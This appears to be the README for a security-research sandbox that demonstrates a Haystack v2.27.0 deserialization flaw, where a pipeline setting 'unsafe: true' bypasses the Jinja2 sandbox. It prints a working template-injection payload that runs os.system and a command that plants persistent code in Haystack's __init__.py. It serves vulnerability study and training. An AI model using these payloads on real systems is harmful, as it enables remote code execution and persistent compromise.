Vulnerable Haystack Sandbox (haystack-ai v2.27.0)

September 4, 2026 · View on GitHub

A containerized sandbox environment demonstrating a critical Insecure Orchestration vulnerability in Deepset Haystack. This sandbox exposes a serialization boundary evasion flaw where the from_dict() deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the unsafe=False boundary and achieve persistent Remote Code Execution (RCE).

FieldValue
TargetDeepset Haystack (haystack-ai v2.27.0)
CVSS v3.110.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE ChainCWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering)
Root Causedefault_from_dict() passes all init_parameters directly to component constructors without stripping security-critical flags
Research PaperJDP-2026-005
AuthorJeff Ponte (JDP Security)

Vulnerability Overview

The Serialization Boundary Flaw

The unsafe flag is documented as a security control that gates Jinja2 template execution. When unsafe=False, the framework uses SandboxedEnvironment. When unsafe=True, it uses NativeEnvironment which allows arbitrary code execution. However, the deserialization method from_dict() trusts the serialized data implicitly:

# haystack/core/serialization.py
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
    init_params = data.get("init_parameters", {})
    # ... type validation only (no security validation) ...
    return cls(**init_params)  # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED

An attacker simply includes "unsafe": true in the serialized pipeline payload, and the framework initializes the component in unsafe mode — bypassing the Jinja2 sandbox entirely.

Affected Components

Both OutputAdapter and ConditionalRouter components accept the unsafe parameter and are vulnerable through the same deserialization path.


Quick Start

Prerequisites

  • Docker or Podman
  • Python 3.10+
  • Make

Build and Run

cd sandboxes/agentic_local_haystack

# Build the container
make attack

# Verify the service is running
curl http://localhost:8000/health

Expected Health Response

{
  "status": "ok",
  "haystack_version": "2.27.0"
}

API Endpoints

GET /health

Returns sandbox status and Haystack version.

POST /chat

Main interaction endpoint. Accepts a JSON body with a query field containing a pipeline definition to load and execute.

YAML Pipeline Load:

{
  "query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n  adapter:\\n    type: haystack.components.converters.output_adapter.OutputAdapter\\n    init_parameters:\\n      template: |\\n        {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}\\n      output_type: str\\n      unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}"
}

GET /verify

Returns the integrity state of the Haystack framework installation. Checks haystack/__init__.py for markers indicating persistent compromise.

{
  "status": "clean",
  "haystack_version": "2.27.0",
  "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py",
  "markers_found": []
}

When compromised:

{
  "status": "compromised",
  "haystack_version": "2.27.0",
  "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py",
  "markers_found": ["SCOPE CHANGE", "HAYSTACK SCOPE CHANGE"]
}

Exploitation Lifecycle

Stage 1: YAML Deserialization Bypass

A malicious YAML pipeline with "unsafe": true is processed by Pipeline.from_dict(). The default_from_dict() sink passes the unsafe parameter directly to the component constructor without validation.

components:
  adapter:
    type: haystack.components.converters.output_adapter.OutputAdapter
    init_parameters:
      template: |
        {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}
      output_type: str
      unsafe: true

Stage 2: Persistent Framework Compromise (Scope Change)

The initial RCE is weaponized to append Python code to the global framework file:

echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py

This creates a CVSS Scope Change (S:C) — every subsequent Python process executing import haystack will run the injected payload. The compromise survives pipeline deletion, application restarts, and container reboots.


Exploitation

The companion exploitation tools are located in:

exploitation/
└── haystack/
    ├── interactive_trainer.py      # Menu-driven CLI trainer (6 lessons)
    └── payloads/                   # Pre-built exploit payloads
        ├── yaml_bypass.yaml
        ├── rce_persist.yaml
        └── conditional_router_bypass.yaml

Container Management

# Stop the container
make stop

# View logs
make logs

# Clean up everything
make clean

Files

FilePurpose
ContainerfilePython 3.11-slim build with haystack-ai v2.27.0
MakefileBuild/run/stop lifecycle management
README.mdThis documentation
app/server.pyVulnerable Flask API server with /chat, /verify, and /health endpoints

References